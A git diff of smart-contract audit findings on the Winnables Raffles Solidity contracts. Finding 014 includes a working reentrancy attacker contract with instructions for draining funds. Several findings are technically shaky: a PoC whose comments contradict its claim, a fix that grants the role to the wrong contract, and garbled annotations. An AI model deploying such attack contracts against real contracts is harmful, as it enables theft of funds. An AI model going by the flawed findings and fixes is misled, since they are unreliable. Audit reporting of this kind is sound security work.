+https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124 + +## Tool used + +Manual Review + +## Recommendation +Ensure that any logic that should be specific to a single chain (e.g., payouts, rewards) includes proper 'chainId' checks, by dynamically checking the chainId, rather than relying on a static value to prevent exploits across different chains or forks. \ No newline at end of file diff --git a/013/127.md b/013/127.md new file mode 100644 index 0000000..48f71e2 --- /dev/null +++ b/013/127.md @@ -0,0 +1,45 @@ +Shaggy Ultraviolet Parakeet + +High + +# Nobody can mint Tickets in `WinnablesTicket::mint()` + +### Summary + +The [`mint()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182) function has access controls of `onlyRole(1)`, which the calling contract `WinnablesTicketManager` is not setUp with. + +### Root Cause + +The Role(1) used in the onlyRole() modifier + +### Internal pre-conditions + +Anytime `WinnablesTicketManager` makes a call to `WinnablesTicket::mint()` + +### External pre-conditions + +Anytime user calls `WinnablesTicketManager::buyTickets()` + +### Attack Path + +[`WinnablesTicketManager::buyTickets()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) does not have any access controls meaning anyone can buy a ticket but anytime a user tries to buy tickets, vulnerability will occur. + +### Impact + +Users can't buy tickets because `mint()` will always revert thereby defying one of the main invariants of the protocol. + +### PoC + +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } +... +} +``` +function requires msg.sender of role(1), However the calling contract is not setup with that role so it will revert. + +### Mitigation + +Re-check the implementation of the access controls on the `mint()` function. \ No newline at end of file diff --git a/013/457.md b/013/457.md new file mode 100644 index 0000000..14821ec --- /dev/null +++ b/013/457.md @@ -0,0 +1,71 @@ +Bumpy Hickory Python + +High + +# User's won't be able to buy tickets due to unauthorised call to mint() function + +## Summary +The `buyTickets` function fails to mint raffle tickets because the `winnablesTicketManager.sol` contract lacks the necessary role to call the `mint` function in `winnableTicket.sol`, leading to transaction reverts and preventing users from purchasing tickets. + +## Vulnerability Detail +The `buyTickets()` function attempts to mint raffle tickets by calling the mint function in the `winnableTicket.sol` contract. The `mint()` function is protected by the `onlyRole(1)` modifier, which ensures that only authorized contracts or addresses with the designated role can execute the mint operation. In the current implementation, the `WinnablesTicketManager.sol` contract has not been granted the necessary role. As a result, any call to the `mint` function will fail, causing the entire transaction to revert. This prevents users from successfully purchasing tickets. + +## Impact +The primary impact of this vulnerability is that users will be unable to purchase raffle tickets as intended, leading to a negative user experience + +## Code Snippet +[`WinnablesTicketManager.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L208) + +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + .... + + + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } +@> IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); //@audit + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +[`WinnablesTicket.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182) + +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { //@audit + .... +} +``` + +## Tool used + +Manual Review + +## Recommendation +To resolve this issue, the `WinnablesTicketManager.sol` contract must be granted the necessary role `(onlyRole(1))` in the constructor. + +````diff +diff --git a/public-contracts/contracts/WinnablesTicketManager.sol b/public-contracts/contracts/WinnablesTicketManager.sol +index 0c3023a..bcfdf90 100644 +--- a/public-contracts/contracts/WinnablesTicketManager.sol ++++ b/public-contracts/contracts/WinnablesTicketManager.sol +@@ -61,6 +61,7 @@ contract WinnablesTicketManager is Roles, VRFConsumerBaseV2, IWinnablesTicketMan + KEY_HASH = _keyHash; + TICKETS_CONTRACT = _tickets; + _setRole(msg.sender, 0, true); // Deployer is admin by default ++ _setRole(TICKETS_CONTRACT, 1, true); // Deployer is admin by default + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); + } + +``` \ No newline at end of file diff --git a/014.md b/014.md new file mode 100644 index 0000000..13b04ed --- /dev/null +++ b/014.md @@ -0,0 +1,134 @@ +Sour Denim Alpaca + +High + +# Reentrancy Risk in refundPlayers and _sendETH function at WinnablesTicketManager contract + +### Summary + +The refundPlayers function and _sendETH function use low-level calls to send ETH: +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L482 +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +solidity +```solidity +function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + (bool success, ) = to.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); +} +``` +In refundPlayers, ETH is sent to the player using _sendETH, which in turn uses a low-level call. This opens up the potential for reentrancy attacks if the player address is a contract that can perform a reentrant call to the refundPlayers function or other vulnerable functions. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +**Vulnerable Contract** +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.24; + +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract VulnerableContract is Ownable { + mapping(address => uint256) public refunds; + + // Refund function that has a reentrancy vulnerability + function refundPlayers(address player) external onlyOwner { + uint256 amount = refunds[player]; + require(amount > 0, "No refund available"); + + refunds[player] = 0; // Update the refund amount before sending to prevent reentrancy issues + _sendETH(player, amount); + } + + // Function to send ETH, vulnerable to reentrancy + function _sendETH(address to, uint256 amount) internal { + require(address(this).balance >= amount, "Insufficient balance"); + (bool success, ) = to.call{value: amount}(""); + require(success, "Transfer failed"); + } + + // Function to deposit ETH to the contract (for testing) + receive() external payable {} +} +``` +**Reentrancy Attacker Contract** + +```soldity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.24; + +interface IVulnerableContract { + function refundPlayers(address player) external; +} + +contract ReentrancyAttacker { + IVulnerableContract public vulnerableContract; + + constructor(address _vulnerableContract) { + vulnerableContract = IVulnerableContract(_vulnerableContract); + } + + // Fallback function to be called during reentrancy + receive() external payable { + // Re-enter the vulnerable contract to exploit the reentrancy + if (address(vulnerableContract).balance > 0) { + vulnerableContract.refundPlayers(address(this)); + } + } + + // Start the attack + function attack() external payable { + require(msg.value > 0, "Send ETH to attack"); + vulnerableContract.refundPlayers(address(this)); + } + + // Withdraw function to retrieve stolen funds + function withdraw() external { + payable(msg.sender).transfer(address(this).balance); + } +} + +``` +**Explanation** +**Vulnerable Contract:** + +refundPlayers: This function updates the refund amount and then calls _sendETH to transfer ETH. This ordering allows for reentrancy attacks because it first sets refunds[player] to 0 but calls _sendETH before completing the refund process. +_sendETH: Transfers ETH to the player using a low-level call (call{value: amount}("")), which allows the attacker to execute arbitrary code in their fallback function. +**Attacker Contract:** + +receive: This fallback function is called when the attacker contract receives ETH. It re-enters the refundPlayers function of the vulnerable contract to exploit the reentrancy vulnerability. +attack: Starts the attack by initiating a refund request. If the contract receives ETH, it will repeatedly exploit the vulnerability via the fallback function. +withdraw: Allows the attacker to withdraw the stolen funds from the attacker contract. +**Testing** +Deploy the Vulnerable Contract: Deploy the VulnerableContract on a test network. +Deposit ETH: Send some ETH to the VulnerableContract to make sure it has a balance. +Deploy the Attacker Contract: Deploy the ReentrancyAttacker contract with the address of the VulnerableContract. +Execute Attack: Call the attack function of the ReentrancyAttacker with some ETH to start the attack. +Withdraw Funds: After the attack, call withdraw on the ReentrancyAttacker to retrieve stolen funds. +This PoC demonstrates how reentrancy can be exploited through a vulnerable refund mechanism by exploiting the ordering of state changes and external calls. + +### Mitigation + +Consider using the transfer function instead of low-level calls for sending ETH to avoid reentrancy issues. +Apply the Checks-Effects-Interactions pattern to mitigate reentrancy by updating internal states before making external calls. \ No newline at end of file diff --git a/014/527.md b/014/527.md new file mode 100644 index 0000000..c0849df --- /dev/null +++ b/014/527.md @@ -0,0 +1,48 @@ +Howling Crimson Okapi + +Medium + +# 'shouldCancelRaffle' Function Always Returns True Due to Reverts in Internal Checks + +### Summary + +The shouldCancelRaffle function is intended to determine if a raffle should be canceled based on specific criteria. However, the current implementation always returns true because the internal _checkShouldCancel function performs checks and reverts if conditions are not met, rather than returning a value that reflects the raffle's cancel status. This leads to potential issues in scenarios where other functions or systems expect a clear boolean response. + + +- shouldCancelRaffle: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L160C14-L160C32 + +- _checkShouldCancel: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +### Root Cause + +- The _shouldCancelRaffle_ function always returns _true_ because it relies on the __checkShouldCancel_ function to perform various checks. __checkShouldCancel_ does not return a value; it either reverts with an error or completes without a return. +- This design fails to convey meaningful information when other components depend on a true or false response to determine the cancellation status. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Functions or systems expecting a boolean response for cancellation status will always receive _true_, regardless of the actual state of the raffle. +- This results in potential mismanagement of raffles and incorrect handling based on misleading or inaccurate cancellation information. + +### PoC + +_No response_ + +### Mitigation + +To ensure that _shouldCancelRaffle_ provides accurate and actionable information, the internal __checkShouldCancel_ should be restructured to return a boolean value indicating whether the raffle should be canceled. This will allow _shouldCancelRaffle_ to return the correct value directly based on the internal checks. \ No newline at end of file diff --git a/014/556.md b/014/556.md new file mode 100644 index 0000000..3238b45 --- /dev/null +++ b/014/556.md @@ -0,0 +1,49 @@ +Howling Crimson Okapi + +Medium + +# shouldDrawRaffle Function Always Returns True Due to Reverts in Internal Check + +### Summary + +The _shouldDrawRaffle_ function is intended to determine whether a raffle should proceed to draw a winner based on certain conditions. However, the function currently always returns _true_. This issue arises because the function calls an internal helper function, __checkShouldDraw_, which performs various checks but does not affect the return value of _shouldDrawRaffle_. Consequently, _shouldDrawRaffle_ does not accurately reflect whether the raffle conditions for drawing a winner are satisfied. + +- shouldDrawRaffle: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L152 + +- _checkShouldDraw: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422C14-L422C30 + + + +### Root Cause + +The _shouldDrawRaffle_ function is designed to return a boolean value indicating whether a raffle should proceed with drawing a winner. However, the function relies on __checkShouldDraw_, which performs internal checks and reverts with errors if conditions are not met, rather than returning a boolean value. Due to this design, _shouldDrawRaffle_ always returns true, regardless of the actual raffle state or conditions. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The always-true return value from _shouldDrawRaffle_ means that users will not be able to accurately determine if a raffle is eligible to draw a winner based on its actual state. This is caused because because the transaction reverts. This could lead to: + +- Misleading information about the raffle’s status. +- Incorrect handling or processing of raffles. +- Potential operational issues or user dissatisfaction due to inaccuracies in raffle management. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/023.md b/023.md new file mode 100644 index 0000000..8c1eb6c --- /dev/null +++ b/023.md @@ -0,0 +1,44 @@ +Massive Caramel Pigeon + +Medium + +# Improper Allowance Handling Leading to Transaction Reverts with Certain Tokens + +## Summary +The contract's constructor sets an allowance for the LINK token without first resetting it to zero. This can cause transactions to revert when interacting with tokens that require the allowance to be set to zero before being updated to a new value, such as USDT. + +## Vulnerability Detail +In the constructor of the `WinnablesPrizeManager` contract, the following line sets the allowance for the LINK token directly to the maximum value: +`LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max);` +Example Case: +1. Initial Condition: +Suppose the current allowance of LINK_TOKEN for _ccipRouter is 100. +2. Transaction: +The contract tries to set the allowance to `type(uint256).max` directly: +`LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max);` +3. Result: +Since tokens like USDT do not allow a direct change from 100 to type(uint256).max without first setting it to zero, the transaction will fail (revert). + +## Impact +If the contract interacts with tokens that enforce this allowance mechanism, the constructor will fail, causing the deployment of the contract to revert. This can prevent the contract from being deployed or cause issues during interactions with these tokens, leading to potential loss of functionality or funds. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L49-L55 + +## Tool used + +Manual Review + +## Recommendation +The allowance must be set to zero before setting it to the desired value. +```solidity +constructor( + address _linkToken, + address _ccipRouter +) +BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) { + _setRole(msg.sender, 0, true); // Deployer is admin by default + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, 0); // Set approval to zero first + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); // Then set to maximum +} +``` \ No newline at end of file diff --git a/024.md b/024.md new file mode 100644 index 0000000..ec87271 --- /dev/null +++ b/024.md @@ -0,0 +1,66 @@ +Massive Caramel Pigeon + +High + +# Inconsistent Block Number Handling Across L2 Chains in _checkPurchaseSig + +## Summary +The `_checkPurchaseSig` function in the `WinnablesTicketManager` contract uses `block.number` to validate the expiration of a coupon. However, the interpretation of `block.number` differs between L2 chains like Optimism and Arbitrum, leading to potential inconsistencies and incorrect validation of coupons. This can result in valid transactions being incorrectly reverted, impacting the user experience and functionality of the contract. + +## Vulnerability Detail +1. Different Block Number Interpretations: +- Optimism: `block.number` reflects the L2 block number. +- Arbitrum: `block.number` reflects the L1 block number. +2. Time Inconsistency: +- In Optimism, `block.number` increases quickly (per L2 block). +- In Arbitrum, `block.number` increases more slowly (per L1 block). +3. Expired Coupon Check: +- A user in Arbitrum submits a transaction with a valid `blockNumber` for L1 but not for L2. +- The contract in Arbitrum checks `block.number` (the L1 block number), which may not have increased as expected. +- The contract incorrectly returns `ExpiredCoupon()` because the L1 block number has not yet matched the expected time in L2. + +`if (blockNumber < block.number) revert ExpiredCoupon();` + +Example: +Optimism: +- Current L2 block number: 1000 +- User submits `blockNumber`: 1005 +- `block.number` increases quickly, so the check passes. + +Arbitrum: +- Current L1 block number: 500 +- User submits `blockNumber`: 505 +- `block.number` increases more slowly, so the check fails and the contract returns `ExpiredCoupon()`. + +## Impact +- Users on Arbitrum may experience failed transactions due to incorrect expiration checks, leading to frustration and loss of trust. +- The contract may not function as intended across different L2 chains, potentially causing disruptions in ticket sales and raffle participation. +- Users may lose ETH due to failed transactions, and the project may face financial losses due to decreased participation and trust. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L448-L458 + +## Tool used + +Manual Review + +## Recommendation +- Use a consistent time-based mechanism (e.g., Unix timestamps) instead of `block.number` to validate coupon expiration. +```solidity +function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 expiryTimestamp, bytes calldata signature) internal view { + if (expiryTimestamp < block.timestamp) revert ExpiredCoupon(); + // Additional checks... +} +``` +- Implement chain-specific logic to handle block number discrepancies. +- For Arbitrum, use `ArbSys(address(100)).arbBlockNumber()`. +```solidity +function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) internal view { + uint256 currentBlockNumber = block.number; + if (block.chainid == 42161) { // Arbitrum chain ID + currentBlockNumber = ArbSys(address(100)).arbBlockNumber(); + } + if (blockNumber < currentBlockNumber) revert ExpiredCoupon(); + // Additional checks... +} +``` \ No newline at end of file diff --git a/027.md b/027.md new file mode 100644 index 0000000..c24a346 --- /dev/null +++ b/027.md @@ -0,0 +1,38 @@ +Tangy Linen Hippo + +Medium + +# [Mid] User can rig the draw by using multiple accounts + +### Summary + +A participant of a raffle can rig the draw by using multiple different accounts to buy tickets using `buyTickets` in `WinnablesTicketManager.sol`, bypassing the `maxHoldings` parameter and increasing his chances of winning a raffle. + +### Root Cause + +Using `maxHoldings` for the max number of tickets one user can purchase can easily be circumvented by using multiple accounts + +### Internal pre-conditions + +A raffle must be created by an admin using `createRaffle` in `WinnablesTicketManager.sol` and it must not be cancelled before it ends. + +### External pre-conditions + +_No response_ + +### Attack Path + +Calling `buyTickets` with the maximum number of tickets allowed per account from multiple different accounts: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L184 + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Consider implementing whitelisting for users participating in a draw \ No newline at end of file diff --git a/033.md b/033.md new file mode 100644 index 0000000..7542176 --- /dev/null +++ b/033.md @@ -0,0 +1,71 @@ +Early Iron Hamster + +High + +# missing nonreentrance guard for eth transfer procedure function - 0XALIYAH + +## Summary + +0xaliyah +arabgodx + +1. _sendETHPrize is visited on line 118 WinnablesPrizeManager +2. winner.call transfers the eth and without specified gas limit and the recipient will gain the opportunity to reenter and cause loss due to the _ethLocked is deducted from non raffleId specific balance and balance that belongs to 1 locked balance:* prize winners + +## Vulnerability Detail + +```diff +diff --git a/public-contracts/contracts/WinnablesPrizeManager.sol b/public-contracts/contracts/WinnablesPrizeManager.sol +index 72ba110..08b11e8 100644 +--- a/public-contracts/contracts/WinnablesPrizeManager.sol ++++ b/public-contracts/contracts/WinnablesPrizeManager.sol +@@ -101,7 +101,8 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + } + + /// @notice (Public) Send the prize for a Raffle to its rightful winner +- /// @param raffleId ID of the raffle ++ /// @param raffleId ID of the raffle ++ // @ audit recommend nonReentrant modifier + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; +@@ -114,11 +115,15 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { ++ // @ audit _ethLocked does not have awareness to say what is the eth locked can belong to whome ++ // @ audit this check effect interaction is not consistent with refundPlayers + unchecked { _ethLocked -= _ethRaffles[raffleId]; } ++ // @ audit reentrant at the untrusted _sendEthPrice and made call without specific gas limit + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ // @ audit rafflePrize.status = RafflePrizeStatus.CLAIMED; must checks and effects at the begin of this func + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +1. attacker had to wait till _ethLocked > _ethRaffles[raffleId] since there is no expiry or timeout for any prizes +2. given the protocol allows participants to be a smart contract +3. Calls the claimPrize function, triggering the _sendETHPrize call initially then from the recipient contract's fallback function. reenters the claimPrize function, potentially before the the initial claimPrize invoke has completed. + +## Impact + +OWASP rating Medium Impact + High Likelihood + +## Code Snippet + +1. [poc](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L118) + +## Tool used + +Manual Review + +## Recommendation + +1. include reentrancy guard + +[checks effects interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) +[Will Shahda](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21) \ No newline at end of file diff --git a/045.md b/045.md new file mode 100644 index 0000000..3ee580e --- /dev/null +++ b/045.md @@ -0,0 +1,1662 @@ +Sticky Vermilion Copperhead + +High + +# `setRole()` functionality is broken + +### Summary + + + + + + + + +## Description + Impact + + +The protocol implements different types of privileges based on numbers like ` 0 ` or ` 1 ` , `0` being the most important privilege . + + +A ` 0 ` privileged address can give privileges to other addresses using ` Roles :: setRole() ` function . + + +The issue is that after the current privileged address will give any type of privilege to other address, the privilege can't be removed in the future in case the new address become malicious . + + + + + + + + + + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L1 + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + + + +## PoC + + + + + + +How to execute the PoC ? + + + + +* Create a `` Foundry `` project with everything needed + + + + +* Add the PoC in `` test/PoC.t.sol `` + + + + +* Add this custom function to ` Roles ` contract + +
+Custom function + +```solidity + + + function READ______Roles_______addressRoles( address a ) external view returns ( bytes32 ) { + + + + + + + + + return _addressRoles[ a ] ; + + + + + + + + + } + + + +``` + +
+ + + + +* Execute the PoC using the command `` forge test --match-path test/PoC.t.sol --match-test test________ -vv `` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+PoC + +```solidity + + + + + + + +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0 ; + + + + + + + +import { Test } from "lib/forge-std/src/Test.sol" ; + +import { console2 } from "lib/forge-std/src/console2.sol" ; + + + + + + + + + + + +import { WinnablesPrizeManager } from 'src/contracts/WinnablesPrizeManager.sol' ; + + +import { WinnablesTicket } from 'src/contracts/WinnablesTicket.sol' ; + + +import { WinnablesTicketManager } from 'src/contracts/WinnablesTicketManager.sol' ; + + + + + + + + + + + + +contract Contract is Test { + + + + + + + + + + + + + + + + struct Users { + + + + + + + + + + + + + + + + User PRIVILEGED ; + + + + + User ATTACKER ; + + + + + User ______USER__1______ ; + + + + + User ______USER__2______ ; + + + + + User ______USER__3______ ; + + + + + User ______USER__4______ ; + + + + + + + + + + + + + + + + } + + + + + + + + + + struct User { + + + + + + + + + + + + + + uint256 PRIVATE__KEY ; + + + + + address ADDRESS ; + + + + + + + + + + + + } + + + + + + + + + struct Scope { + + + + + + + + + + + + + + + + WinnablesPrizeManager ______WinnablesPrizeManager______ ; + + + WinnablesTicket ______WinnablesTicket______ ; + + + WinnablesTicketManager ______WinnablesTicketManager______ ; + + + + + + + + + + + + + + } + + + + + + + + + + // struct Mock { } + + + + + + + + + + struct Address { + + + + + + + + + + + + + + Ethereum Ethereum ; + + + + + + + + + + + + } + + + + + + + + + + struct Ethereum { + + + + + + + + + + + + + + + + + + + address _______VRF__Coordinator______ ; + + + + + + address ______CCIP__Router______ ; + + + + + + address ______Link______ ; + + + + + + + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + + + Users ________Users ; + + + + + Scope ________Scope ; + + + + + Address ________Address ; + + + + + + + + + + + + + + + + + + + + + + function test________() public { + + + + + + + + + + + + + vm.createSelectFork( "https://rpc.ankr.com/eth" ) ; + + + + + + + + + + + + + + + + // NOTE :: Users + + + + { + + + + + + + ( ________Users.PRIVILEGED.ADDRESS , ________Users.PRIVILEGED.PRIVATE__KEY ) = makeAddrAndKey( ' PRIVILEGED ' ) ; + + + + + ( ________Users.ATTACKER.ADDRESS , ________Users.ATTACKER.PRIVATE__KEY ) = makeAddrAndKey( ' ATTACKER ' ) ; + + + + + ( ________Users.______USER__1______.ADDRESS , ________Users.______USER__1______.PRIVATE__KEY ) = makeAddrAndKey( ' USER 1 ' ) ; + + + + + ( ________Users.______USER__2______.ADDRESS , ________Users.______USER__2______.PRIVATE__KEY ) = makeAddrAndKey( ' USER 2 ' ) ; + + + + + ( ________Users.______USER__3______.ADDRESS , ________Users.______USER__3______.PRIVATE__KEY ) = makeAddrAndKey( ' USER 3 ' ) ; + + + + + ( ________Users.______USER__4______.ADDRESS , ________Users.______USER__4______.PRIVATE__KEY ) = makeAddrAndKey( ' USER 4 ' ) ; + + + + + + + + + } + + + + + + + + + + + + + + { + + + + + + + + ________Address.Ethereum._______VRF__Coordinator______ = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909 ; + + + + + ________Address.Ethereum.______CCIP__Router______ = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D ; + + + + + ________Address.Ethereum.______Link______ = 0x514910771AF9Ca656af840dff83E8264EcF986CA ; + + + + + + + + } + + + + + + + + + + + + + + + // NOTE :: Deploy the smart contracts and mocks + + + + + { + + + + + + + + + + + + + /// Deploy `` WinnablesPrizeManager `` /// + + + { + + + + + + + + + + + + + + + + + + vm.startPrank( address(this) ); + + + + + + + + + address IMPLEMENTATION______WinnablesPrizeManager______ = vm.deployCode( "out/WinnablesPrizeManager.sol/WinnablesPrizeManager.json" , abi.encode( + + + + + + + + + + + + + + // _linkToken + + + address( ________Address.Ethereum.______Link______ ) , + + + + + + + + + + + + + + + //_ccipRouter + + + address( ________Address.Ethereum.______CCIP__Router______ ) + + + + + + + + + + + + + + ) ); + + + + + ________Scope.______WinnablesPrizeManager______ = WinnablesPrizeManager( IMPLEMENTATION______WinnablesPrizeManager______ ) ; + + + + + + + + + vm.stopPrank(); + + + + + + + + + + + + + + + + } + + + + + + + + + /// Deploy `` WinnablesTicket `` /// + + + { + + + + + + + + + + + + + + + + + + vm.startPrank( address(this) ); + + + + + + + + + address IMPLEMENTATION______WinnablesTicket______ = vm.deployCode( "out/WinnablesTicket.sol/WinnablesTicket.json" , abi.encode( ) ); + + + + + ________Scope.______WinnablesTicket______ = WinnablesTicket( IMPLEMENTATION______WinnablesTicket______ ) ; + + + + + + + + + vm.stopPrank(); + + + + + + + + + + + + + + + + } + + + + + + + + + /// Deploy `` WinnablesTicketManager `` /// + + + { + + + + + + + + + + + + + + + + + + + + + + + + vm.startPrank( address(this) ); + + + + + + + + + address IMPLEMENTATION______WinnablesTicketManager______ = vm.deployCode( "out/WinnablesTicketManager.sol/WinnablesTicketManager.json" , abi.encode( + + + + + + + + + + + + + + + + // _linkToken + + + address( ________Address.Ethereum.______Link______ ) , + + + + + + + + + + + + + + // _vrfCoordinator + + + address( ________Address.Ethereum._______VRF__Coordinator______ ) , + + + + + + + + + + + + + + // _subscriptionId + + + uint64( 1234 ) , // / + + + + + + + + + + + + + + // _keyHash + + + bytes32( "" ) , // / / + + + + + + + + + + + + + + // _tickets + + + address( ________Scope.______WinnablesTicket______ ) , + + + + + + + + + + + + + + // _ccipRouter + + + address( ________Address.Ethereum.______CCIP__Router______ ) + + + + + + + + + + + + + + ) ); + + + + + ________Scope.______WinnablesTicketManager______ = WinnablesTicketManager( IMPLEMENTATION______WinnablesTicketManager______ ) ; + + + + + + + + + vm.stopPrank(); + + + + + + + + + + + + + + + + + + + + + + + + } + + + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + + + + + + /// `` Roles `` :: setRole /// + + + { + + + + + + + + + + + + + vm.startPrank( address(this) ); + + + + + ________Scope.______WinnablesPrizeManager______.setRole({ + + + + + + + + + + + + user : address( ________Users.______USER__1______.ADDRESS ) , + + + + + + + + + + + role : uint8( 0 ) , + + + + + + + + + + status : true + + + + + + + + + + + }); + + + + + vm.stopPrank(); + + + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + // NOTE :: ` console.log ` + + + + { + + + + + + + + + + console2.log( ' \n ' ); + + + + + console2.log( unicode' ✣ The privilege of ` USER 1 ` ✣ ' , '' ); + + + + + console2.log( '\n' ); + + + + + + + + + + + + + + console2.log( '' ); + + + + + + + console2.logBytes32( + + + + + ________Scope.______WinnablesPrizeManager______.READ______Roles_______addressRoles( ________Users.______USER__1______.ADDRESS ) + + + + + ); + + + + + + + console2.log( '' ); + + + + + + + + + + + + + console2.log( ' \n ' ); + + + + + + + + + + } + + + + + + + + + + + + + + + + + /// `` Roles `` :: setRole /// + + + { + + + + + + + + vm.startPrank( address(this) ); + + + + + ________Scope.______WinnablesPrizeManager______.setRole({ + + + + + + + + + + + + user : address( ________Users.______USER__1______.ADDRESS ) , + + + + + + + + + + + role : uint8( 0 ) , + + + + + + + + + + status : false + + + + + + + + + + + }); + + + + + vm.stopPrank(); + + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + + // NOTE :: ` console.log ` + + + + { + + + + + + + + + + console2.log( ' \n ' ); + + + + + console2.log( unicode' ✣ The privilege of ` USER 1 ` after the removal ✣ ' , '' ); + + + + + console2.log( '\n' ); + + + + + + + + + + + + + + console2.log( '' ); + + + + + + + console2.logBytes32( + + + + + ________Scope.______WinnablesPrizeManager______.READ______Roles_______addressRoles( ________Users.______USER__1______.ADDRESS ) + + + + + ); + + + + + + + console2.log( '' ); + + + + + + + + + + + + + console2.log( ' \n ' ); + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + + // NOTE :: ` console.log ` + + + + { + + + + + + + console2.log( ' \n ' ); + + + + + console2.log( unicode' ✣ ` USER 1 ` still has its ` 0 ` privilege even when the other privileged address tried to remove the privilege ✣ ' , '' ); + + + + + console2.log( '\n' ); + + + + + + } + + + + + + + + + + + + + + + + + + + + + + + } + + + + + + + + + + + + + + + + + + + + + + + + +} + + + + + + + +``` + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
